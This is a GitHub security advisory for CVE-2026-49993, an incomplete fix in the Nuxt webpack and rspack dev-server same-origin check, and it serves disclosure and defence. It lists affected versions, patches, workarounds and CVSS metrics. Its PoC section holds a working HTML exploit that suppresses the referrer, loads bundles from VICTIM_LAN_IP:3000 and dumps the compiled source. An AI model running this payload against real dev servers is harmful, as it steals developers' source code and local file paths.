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@nuxt/webpack-builder and @nuxt/rspack-builder dev server same-origin check bypassed when Sec-Fetch-Site, Origin, and Referer are all absent (incomplete fix for GHSA-6m52-m754-pw2g)

Moderate severity GitHub Reviewed Published Jun 2, 2026 in nuxt/nuxt • Updated Jun 16, 2026

Package

npm @nuxt/rspack-builder (npm)

Affected versions

>= 4.0.0, < 4.4.7
>= 3.15.4, < 3.21.7

Patched versions

4.4.7
3.21.7
npm @nuxt/webpack-builder (npm)
>= 4.0.0, < 4.4.7
>= 3.15.4, < 3.21.7
4.4.7
3.21.7

Description

Summary

This is an incomplete fix for GHSA-6m52-m754-pw2g. Source code may still be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. nuxt dev --host) and the developer opens a malicious site on the same network.

Details

The fix for GHSA-6m52-m754-pw2g added an Origin / Referer fallback to the dev-middleware same-origin check, with a return true branch when neither header is present so that non-browser clients (curl, the HMR client, address-bar navigation) keep working.

That fallback is bypassed when a cross-origin attacker request reaches the dev server with all three signal headers absent:

  • Sec-Fetch-Site is not sent by browsers to non-potentially-trustworthy destinations (HTTP on a non-loopback address).
  • Origin is not sent on non-CORS subresource fetches (a bare <script> with no crossorigin).
  • Referer can be suppressed by the attacker page with <meta name="referrer" content="no-referrer"> or referrerpolicy="no-referrer" on the <script> element.

A classic <script src="http://VICTIM_LAN_IP:3000/_nuxt/app.js" referrerpolicy="no-referrer"> from a non-trustworthy attacker origin produces exactly that header set, the request is allowed, and the attacker page can read the built source out of window.webpackChunk* via Function.prototype.toString().

Since the attack requires the dev server to be reachable via a non-potentially-trustworthy origin, only apps using --host (or --host 0.0.0.0) are affected. Chrome 142+ users are also protected by Local Network Access restrictions.

PoC

  1. Create a Nuxt project with the webpack / rspack builder.
  2. Run npm run dev -- --host 0.0.0.0.
  3. Open http://localhost:3000 on the developer machine.
  4. From a different LAN host, serve the page below and open it in the same browser.
  5. The compiled module source is exfiltrable from window.webpackChunknuxt_<projectname>.
<!doctype html>
<meta name="referrer" content="no-referrer">
<script>
  ['/_nuxt/runtime.js', '/_nuxt/app.js'].forEach(p => {
    const s = document.createElement('script')
    s.src = 'http://VICTIM_LAN_IP:3000' + p
    s.referrerPolicy = 'no-referrer'
    document.head.appendChild(s)
  })
  setTimeout(() => {
    const key = Object.keys(window).find(k => k.startsWith('webpackChunk'))
    for (const [, mods] of window[key]) {
      for (const id in mods) {
        console.log(id, mods[id].toString())
      }
    }
  }, 1500)
</script>

Impact

Users using the webpack / rspack builder with nuxt dev --host may get the built source code read by malicious websites on the same network, including module identifiers, the developer's local filesystem path, and any developer-controlled strings inlined into the bundle.

This vulnerability does not affect Chrome 142+ (and other Chromium-based browsers) users due to Local Network Access restrictions.

The default Vite builder is not affected.

Patches

Fixed in @nuxt/webpack-builder@4.4.7 / @nuxt/rspack-builder@4.4.7 and backported to @nuxt/webpack-builder@3.21.7 / @nuxt/rspack-builder@3.21.7 by #35200 (4.x: commit e351de94; 3.x: commit 77187ee4). The dev-middleware same-origin check now treats a request with no Sec-Fetch-Site, no Origin, and no Referer as same-origin only when the dev server is loopback-bound, closing the header-suppression bypass.

The fix only ships for the @nuxt/webpack-builder and @nuxt/rspack-builder packages. The default Vite builder was not affected.

Workarounds

If you cannot upgrade immediately:

  • Don't use nuxt dev --host. Bind the dev server to localhost (the default) and tunnel from other devices via SSH or a reverse proxy that enforces same-origin checks.
  • Use Chrome 142+ or another Chromium-based browser that enforces Local Network Access restrictions.
  • Switch to the Vite builder for development.

Credit

Reported by Berkan SAL (@Uhudsavasindankacanokcu2) via the Vercel Open Source HackerOne program.

Independently reported by @DavidCarliez via GitHub's coordinated disclosure flow (GHSA-xw96-2f5x-v9pv), closed as a duplicate of this advisory.

References

@danielroe danielroe published to nuxt/nuxt Jun 2, 2026
Published by the National Vulnerability Database Jun 12, 2026
Published to the GitHub Advisory Database Jun 16, 2026
Reviewed Jun 16, 2026
Last updated Jun 16, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Adjacent
Attack Complexity High
Attack Requirements Present
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(5th percentile)

Weaknesses

Exposed Dangerous Method or Function

The product provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted. Learn more on MITRE.

CVE ID

CVE-2026-49993

GHSA ID

GHSA-x6qj-4h56-5rj5

Source code

Credits

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